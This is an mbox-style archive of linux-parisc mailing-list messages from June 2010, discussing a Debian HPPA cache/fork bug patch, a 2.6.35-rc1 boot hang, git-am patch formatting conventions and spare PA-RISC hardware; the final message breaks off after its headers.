Original-Received: from members.fsij.org ([211.14.6.125]:46794 "EHLO atom.fsij.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756779Ab0FDBX6 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 3 Jun 2010 21:23:58 -0400
X-Greylist: delayed 1200 seconds by postgrey-1.27 at vger.kernel.org; Thu, 03 Jun 2010 21:23:57 EDT
Original-Received: from [150.82.175.29]
	by atom.fsij.org with esmtpsa (TLS1.0:DHE_RSA_AES_256_CBC_SHA1:32)
	(Exim 4.69)
	(envelope-from <gniibe@fsij.org>)
	id 1OKLSz-00016Q-O9; Fri, 04 Jun 2010 10:12:58 +0900
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100411 Icedove/3.0.4
In-Reply-To: <201006031150.15725.modestas@vainius.eu>
X-SA-Exim-Connect-IP: 150.82.175.29
X-SA-Exim-Mail-From: gniibe@fsij.org
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on atom.fsij.org
X-Spam-Level: 
X-Spam-Status: No, score=-3.5 required=5.0 tests=ALL_TRUSTED,AWL,BAYES_00
	autolearn=ham version=3.2.5
X-SA-Exim-Version: 4.2.1 (built Wed, 25 Jun 2008 17:20:07 +0000)
X-SA-Exim-Scanned: Yes (on atom.fsij.org)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2892
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2892>

Modestas Vainius wrote:
>> Note that Debian's buildds run a UP kernel, so as soon as those fixes
>> go upstream we can pull them in. Thanks for all your work here!
>>
>
> Well, as long as this is unfixed or at least "common", I don't see how hppa
> can be considered to be a release arch. Is that UP patch available somewhere?

My case and my analysis talked about UP kernel, and John David Anglin
made a patch:
	http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=561203#144

After that, the discussion went to SMP cases.

It would be better to evaluate the patch again, and make sure it works
for UP case and fix failures of buildd, then apply for Linux in Debian
(only) for HPPA.

I know that the patch is not that ideal because it touches
architecture independent part of Linux, but it is worth for Linux in
Debian (or Linux for the HPPA machine of buildd, at least).
-- 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dann frazier <dannf@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Bug#561203: threads and fork on machine with VIPT-WB cache
Date: Thu, 3 Jun 2010 23:21:06 -0600
Lines: 31
Approved: news@gmane.org
Message-ID: <20100604052106.GC15860@lackof.org>
References: <20100408224446.96F294FA3@hiauly1.hia.nrc.ca> <20100602171600.GA5566@hiauly1.hia.nrc.ca> <20100602175616.GA23219@lackof.org> <201006031150.15725.modestas@vainius.eu> <4C0850CB.20703@fsij.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1275628885 21836 80.91.229.12 (4 Jun 2010 05:21:25 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 4 Jun 2010 05:21:25 +0000 (UTC)
Cc: Modestas Vainius <modestas@vainius.eu>,
	John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	deller@gmx.de, linux-parisc@vger.kernel.org,
	pkg-gauche-devel@lists.alioth.debian.org, carlos@systemhalted.org
To: NIIBE Yutaka <gniibe@fsij.org>, 561203@bugs.debian.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 04 07:21:20 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OKPLL-0004qg-T6
	for glpp-linux-parisc@lo.gmane.org; Fri, 04 Jun 2010 07:21:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751523Ab0FDFVR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 4 Jun 2010 01:21:17 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:47843 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751514Ab0FDFVQ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 4 Jun 2010 01:21:16 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id 9757833E000F;
	Thu,  3 Jun 2010 23:21:15 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id YYM-i-WPTl6H; Thu,  3 Jun 2010 23:21:06 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 1012)
	id D0C3233E0268; Thu,  3 Jun 2010 23:21:06 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <4C0850CB.20703@fsij.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2893
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2893>

On Fri, Jun 04, 2010 at 10:03:07AM +0900, NIIBE Yutaka wrote:
> Modestas Vainius wrote:
>>> Note that Debian's buildds run a UP kernel, so as soon as those fixes
>>> go upstream we can pull them in. Thanks for all your work here!
>>>
>>
>> Well, as long as this is unfixed or at least "common", I don't see how hppa
>> can be considered to be a release arch. Is that UP patch available somewhere?
>
> My case and my analysis talked about UP kernel, and John David Anglin
> made a patch:
> 	http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=561203#144
>
> After that, the discussion went to SMP cases.
>
> It would be better to evaluate the patch again, and make sure it works
> for UP case and fix failures of buildd, then apply for Linux in Debian
> (only) for HPPA.
>
> I know that the patch is not that ideal because it touches
> architecture independent part of Linux, but it is worth for Linux in
> Debian (or Linux for the HPPA machine of buildd, at least).

I'm happy to test the patch if necessary to help push this change
upstream. However, we do need the change to go upstream before we can
include it in the Debian kernel.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: 2.6.35-rc1 and RCU
Date: Fri, 4 Jun 2010 05:44:05 -0400
Lines: 11
Approved: news@gmane.org
Message-ID: <20100604094405.GM28492@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1275644655 4320 80.91.229.12 (4 Jun 2010 09:44:15 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 4 Jun 2010 09:44:15 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 04 11:44:12 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OKTRh-0005tK-E0
	for glpp-linux-parisc@lo.gmane.org; Fri, 04 Jun 2010 11:44:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755220Ab0FDJoI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 4 Jun 2010 05:44:08 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:54434 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755213Ab0FDJoH (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 4 Jun 2010 05:44:07 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1OKTRd-000201-UR
	for linux-parisc@vger.kernel.org; Fri, 04 Jun 2010 09:44:05 +0000
Content-Disposition: inline
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2894
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2894>

Did anyone else see a hang on 2.6.35-rc1 just after RCU initializes?
If not, I'll debug it this weekend or when I get back to Canada...
2.6.34+the merged series booted (and continues) to boot fine, so I
suspect it's not something we did.

--Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Bug#561203: threads and fork on machine with VIPT-WB cache
Date: Fri, 4 Jun 2010 12:44:55 +0200
Lines: 50
Approved: news@gmane.org
Message-ID: <AANLkTiklDMpVgeJp54qcNvMcUp2Ns5lkEpwHxWOnLD8Y@mail.gmail.com>
References: <20100408224446.96F294FA3@hiauly1.hia.nrc.ca> <20100602171600.GA5566@hiauly1.hia.nrc.ca> 
	<20100602175616.GA23219@lackof.org> <201006031150.15725.modestas@vainius.eu> 
	<4C0850CB.20703@fsij.org> <20100604052106.GC15860@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1275648325 17101 80.91.229.12 (4 Jun 2010 10:45:25 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 4 Jun 2010 10:45:25 +0000 (UTC)
Cc: NIIBE Yutaka <gniibe@fsij.org>, 561203@bugs.debian.org,
	Modestas Vainius <modestas@vainius.eu>,
	John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	deller@gmx.de, linux-parisc@vger.kernel.org,
	pkg-gauche-devel@lists.alioth.debian.org, carlos@systemhalted.org
To: dann frazier <dannf@debian.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 04 12:45:21 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OKUOv-00026K-9k
	for glpp-linux-parisc@lo.gmane.org; Fri, 04 Jun 2010 12:45:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753755Ab0FDKpT convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 4 Jun 2010 06:45:19 -0400
Original-Received: from mail-ww0-f46.google.com ([74.125.82.46]:44426 "EHLO
	mail-ww0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754034Ab0FDKpS convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 4 Jun 2010 06:45:18 -0400
Original-Received: by wwb28 with SMTP id 28so756638wwb.19
        for <linux-parisc@vger.kernel.org>; Fri, 04 Jun 2010 03:45:15 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:mime-version:sender:received
         :in-reply-to:references:from:date:x-google-sender-auth:message-id
         :subject:to:cc:content-type:content-transfer-encoding;
        bh=HAqMJGNbeHPpx9uCPNFghRc9jKrB6HeUHhUN4lW1EV4=;
        b=Ywn7LUQOB3X1m7y/suc9EuLuan3H2vYEsBQTjZbUHvstrt8MJx8ygX153REoQJBhYh
         W6Pw8SBBzJstRX80DFiKLJoZNjhmtfKxaNgvIMakkQJtpmrvmG8CXH1KY7wejLxgxpaH
         IB9rkA8QgK9tHrH6MbOPI7XsUYJnXiRlecBF4=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:from:date
         :x-google-sender-auth:message-id:subject:to:cc:content-type
         :content-transfer-encoding;
        b=ZsbWPwYi5yywinFEYlet313lDH89o1ckyB2pDdSHwRoIuoqRBXi4K8c/0hkJdsxY1s
         xPhhrBIIzm2k5kO+n2r2wHaV2n5b1n/veSmoBNNv172cb4cXS4+uv9Y69+HFj/La4wzj
         Z49cwJWC99CStdOaL0nrsWHiHhr+MS8/hSIug=
Original-Received: by 10.227.133.18 with SMTP id d18mr10422001wbt.186.1275648315178; 
	Fri, 04 Jun 2010 03:45:15 -0700 (PDT)
Original-Received: by 10.216.85.142 with HTTP; Fri, 4 Jun 2010 03:44:55 -0700 (PDT)
In-Reply-To: <20100604052106.GC15860@lackof.org>
X-Google-Sender-Auth: IHIL33Xwof3WYotd2TP78M02goM
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2895
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2895>

On Fri, Jun 4, 2010 at 7:21 AM, dann frazier <dannf@debian.org> wrote:
> On Fri, Jun 04, 2010 at 10:03:07AM +0900, NIIBE Yutaka wrote:
>> Modestas Vainius wrote:
>>>> Note that Debian's buildds run a UP kernel, so as soon as those fi=
xes
>>>> go upstream we can pull them in. Thanks for all your work here!
>>>>
>>>
>>> Well, as long as this is unfixed or at least "common", I don't see =
how hppa
>>> can be considered to be a release arch. Is that UP patch available =
somewhere?
>>
>> My case and my analysis talked about UP kernel, and John David Angli=
n
>> made a patch:
>> =C2=A0 =C2=A0 =C2=A0 http://bugs.debian.org/cgi-bin/bugreport.cgi?bu=
g=3D561203#144
>>
>> After that, the discussion went to SMP cases.
>>
>> It would be better to evaluate the patch again, and make sure it wor=
ks
>> for UP case and fix failures of buildd, then apply for Linux in Debi=
an
>> (only) for HPPA.
>>
>> I know that the patch is not that ideal because it touches
>> architecture independent part of Linux, but it is worth for Linux in
>> Debian (or Linux for the HPPA machine of buildd, at least).
>
> I'm happy to test the patch if necessary to help push this change
> upstream. However, we do need the change to go upstream before we can
> include it in the Debian kernel.

Just for reference, I've summarized the test cases and related patches =
here:
http://wiki.parisc-linux.org/TestCases

HTH

--=20
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: patch submission
Date: Fri, 4 Jun 2010 07:28:26 -0400
Lines: 49
Approved: news@gmane.org
Message-ID: <20100604112826.GA20317@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1275650915 25870 80.91.229.12 (4 Jun 2010 11:28:35 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 4 Jun 2010 11:28:35 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 04 13:28:33 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OKV4e-0005Df-5d
	for glpp-linux-parisc@lo.gmane.org; Fri, 04 Jun 2010 13:28:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751993Ab0FDL21 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 4 Jun 2010 07:28:27 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:44548 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751451Ab0FDL20 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 4 Jun 2010 07:28:26 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1OKV4c-0002V5-F6
	for linux-parisc@vger.kernel.org; Fri, 04 Jun 2010 11:28:26 +0000
Content-Disposition: inline
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2896
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2896>

Hi folks,

Manually munging changelogs is really tedious work and makes for an
unhappy Kyle. In the future, if you want to save me a lot of hair
pulling, and to make patchwork better for all of us, could we please do
a few kind things for me?

1. Patches that you want applied should start a new thread: It's really
difficult to see what the status of things is when several patches are
all jumbled up with a load of prior discussion.

2. Patches should be properly formatted for git-am: Patchwork
automatically adds Signed-off-by and certain other attributions if you
follow up to the list, which saves me having to note them and add them
myself. For reference, a patch should look like the following.

<MAIL_HEADERS>
From: Submitter
Subject: [PATCH] parisc: useful subject
Date: Self Explanatory
</MAIL_HEADERS>

<MAIL_BODY>
From: Patch Author if not Submitter

Patch description in here.

Signed-off-by: Patch Author
Acked-by: Someone else
Reviewed-by: Yet Another person

--- <- seperator between changelog and patch

Anything between seperator and the diff itself will not be in the patch
changelog, this is where you should put notes and such, please, as well
as a diffstat if it is a large patch series.

Diff goes here.
</MAIL_BODY>

I promise to be a lot quicker at sucking patches in and getting them
around if we can tighten up our process a bit.

Thanks, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: hardware
Date: Fri, 4 Jun 2010 07:32:00 -0400
Lines: 18
Approved: news@gmane.org
Message-ID: <20100604113159.GB20317@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1275651126 26759 80.91.229.12 (4 Jun 2010 11:32:06 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 4 Jun 2010 11:32:06 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 04 13:32:04 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OKV87-0007Ac-IN
	for glpp-linux-parisc@lo.gmane.org; Fri, 04 Jun 2010 13:32:03 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751683Ab0FDLcA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 4 Jun 2010 07:32:00 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:44615 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751451Ab0FDLcA (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 4 Jun 2010 07:32:00 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1OKV84-0003EG-4m
	for linux-parisc@vger.kernel.org; Fri, 04 Jun 2010 11:32:00 +0000
Content-Disposition: inline
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2897
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2897>

I've got a load of hardware I don't really anticipate energizing again
that anyone who is doing work on Linux is welcome to... I'll make a
list, but I have random bits of everything parisc related (PCI
storage/network/misc, memory, disks, arrays, etc.)

I'm willing to itemize it and offer to ship it for the cost of postage,
so if any of you want some of it (or machines) make a list of what you
need and I'll sift through boxes and let you know what I've got.

(Mostly J6XXX class machine bits and A500 bits probably a couple earlier
models as well.)

--Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.35-rc1 and RCU
Date: Fri, 04 Jun 2010 13:39:42 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <4C08E5FE.80905@gmx.de>
References: <20100604094405.GM28492@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1275651588 28302 80.91.229.12 (4 Jun 2010 11:39:48 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 4 Jun 2010 11:39:48 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 04 13:39:47 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OKVFa-0002O7-Jv
	for glpp-linux-parisc@lo.gmane.org; Fri, 04 Jun 2010 13:39:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751451Ab0FDLjp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 4 Jun 2010 07:39:45 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:40078 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751344Ab0FDLjp (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 4 Jun 2010 07:39:45 -0400
Original-Received: (qmail invoked by alias); 04 Jun 2010 11:39:42 -0000
Original-Received: from p54AD17F6.dip0.t-ipconnect.de (EHLO halden.box) [84.173.23.246]
  by mail.gmx.net (mp022) with SMTP; 04 Jun 2010 13:39:42 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX187ZxJldUw7P+SDYPldWxWgPcNSHCalZ0OEXYnJ50
	vF9Lw3bRoTuAAI
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.9) Gecko/20100430 Fedora/3.0.4-2.fc11 Lightning/1.0b2pre Thunderbird/3.0.4
In-Reply-To: <20100604094405.GM28492@bombadil.infradead.org>
X-Enigmail-Version: 1.0.1
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2898
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2898>

On 06/04/2010 11:44 AM, Kyle McMartin wrote:
> Did anyone else see a hang on 2.6.35-rc1 just after RCU initializes?

Yes, I did see this as well.

Helge

> If not, I'll debug it this weekend or when I get back to Canada...
> 2.6.34+the merged series booted (and continues) to boot fine, so I
> suspect it's not something we did.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: patch submission
Date: Fri, 4 Jun 2010 08:57:59 -0400
Lines: 13
Approved: news@gmane.org
Message-ID: <AANLkTimZ55-bGn3OZpFKrbVvXXsCX5XYDh8kT6nTU0-b@mail.gmail.com>
References: <20100604112826.GA20317@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1275656290 12496 80.91.229.12 (4 Jun 2010 12:58:10 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 4 Jun 2010 12:58:10 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 04 14:58:09 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OKWTM-0006nK-Oz
	for glpp-linux-parisc@lo.gmane.org; Fri, 04 Jun 2010 14:58:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754394Ab0FDM6D (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 4 Jun 2010 08:58:03 -0400
Original-Received: from mail-bw0-f46.google.com ([209.85.214.46]:55376 "EHLO
	mail-bw0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754168Ab0FDM6B (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 4 Jun 2010 08:58:01 -0400
Original-Received: by bwz11 with SMTP id 11so354329bwz.19
        for <linux-parisc@vger.kernel.org>; Fri, 04 Jun 2010 05:58:00 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:sender:received
         :in-reply-to:references:date:x-google-sender-auth:message-id:subject
         :from:to:cc:content-type;
        bh=0csVn7kD24ILolVLfERfkRsotBeONld7+vlgNG0PkSE=;
        b=wO2erhWZi/j3vhcUIWnFhoBPd3eRblsVhsWCo3Wtfz89/BmLMMUvijQNYC621KzQIo
         xdF0BmbIyEqguq5PLfSJA6Ub9gCLes1JpIZ6LgPxho8U7ujQaXpkHOjFMuNVOGtO4llK
         muhMPw7txD0AIR+z7pOGU04c8AQHa9ijnTJUE=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        b=oaEeSOWuP6iP4ovc23Ge3SusFA6e28rjVSg3JbpykW19aF7kzJa5jIbIxfsrSLu6yQ
         AqhbP1W85gD20nimoW1C+pAe8NwTJtzcn6uWcLIVlLCCG+LQiveXsLygEasiki4TZFla
         tS8+sBRbsyjH69fSM5KFow/9BFxeqk8YZ2gQA=
Original-Received: by 10.204.46.202 with SMTP id k10mr3977090bkf.152.1275656280085; 
	Fri, 04 Jun 2010 05:58:00 -0700 (PDT)
Original-Received: by 10.204.63.129 with HTTP; Fri, 4 Jun 2010 05:57:59 -0700 (PDT)
In-Reply-To: <20100604112826.GA20317@bombadil.infradead.org>
X-Google-Sender-Auth: lI5wLvmTLHastCZjcla1U2-Dy8g
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
